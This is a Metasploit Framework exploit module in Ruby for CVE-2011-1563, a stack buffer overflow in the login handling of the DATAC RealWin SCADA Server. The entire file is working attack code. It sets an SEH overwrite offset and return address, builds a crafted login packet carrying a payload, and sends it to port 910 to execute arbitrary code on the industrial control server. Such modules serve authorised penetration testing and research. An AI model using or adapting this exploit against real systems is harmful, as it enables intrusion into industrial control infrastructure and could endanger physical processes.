##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RealWin SCADA Server DATAC Login Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in DATAC Control
				International RealWin SCADA Server 2.1 (Build 6.0.10.10) or
				earlier.  By sending a specially crafted On_FC_CONNECT_FCS_LOGIN
				packet containing a long username, an attacker may be able to
				execute arbitrary code.
			},
			'Author'         =>
				[
					'Luigi Auriemma', #discovery
					'MC',
					'B|H <bh[AT]bufferattack.com>'
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2011-1563'],
					[ 'OSVDB', '72824'],
					[ 'URL', 'http://aluigi.altervista.org/adv/realwin_2-adv.txt' ],
					[ 'URL', 'http://www.dataconline.com/software/realwin.php' ],
					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-110-01.pdf']
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 450,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Universal',
						{
							'Offset'   => 392,         # Offset to SEH
							'Ret'      => 0x40012540,  # pop/pop/ret @FlexMLang.dll
						}
					],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Mar 21 2011'))

		register_options([Opt::RPORT(910)], self.class)
	end

	def exploit
		data =  [0x67542310].pack('V')
		data << [0x00000824].pack('V')
		data << [0x00110011].pack('V')
		data << "\x01\x00"
		data << rand_text_alpha_upper(target['Offset'])
		data << generate_seh_payload(target.ret)
		data << rand_text_alpha_upper(17706 - payload.encoded.length)
		data << [0x451c3500].pack('V')
		data << [0x00000154].pack('V')
		data << [0x00020040].pack('V')

		connect
		print_status("Trying target #{target.name}...")
		sock.put(data)
		select(nil,nil,nil,0.5)
		handler
		disconnect
	end

end
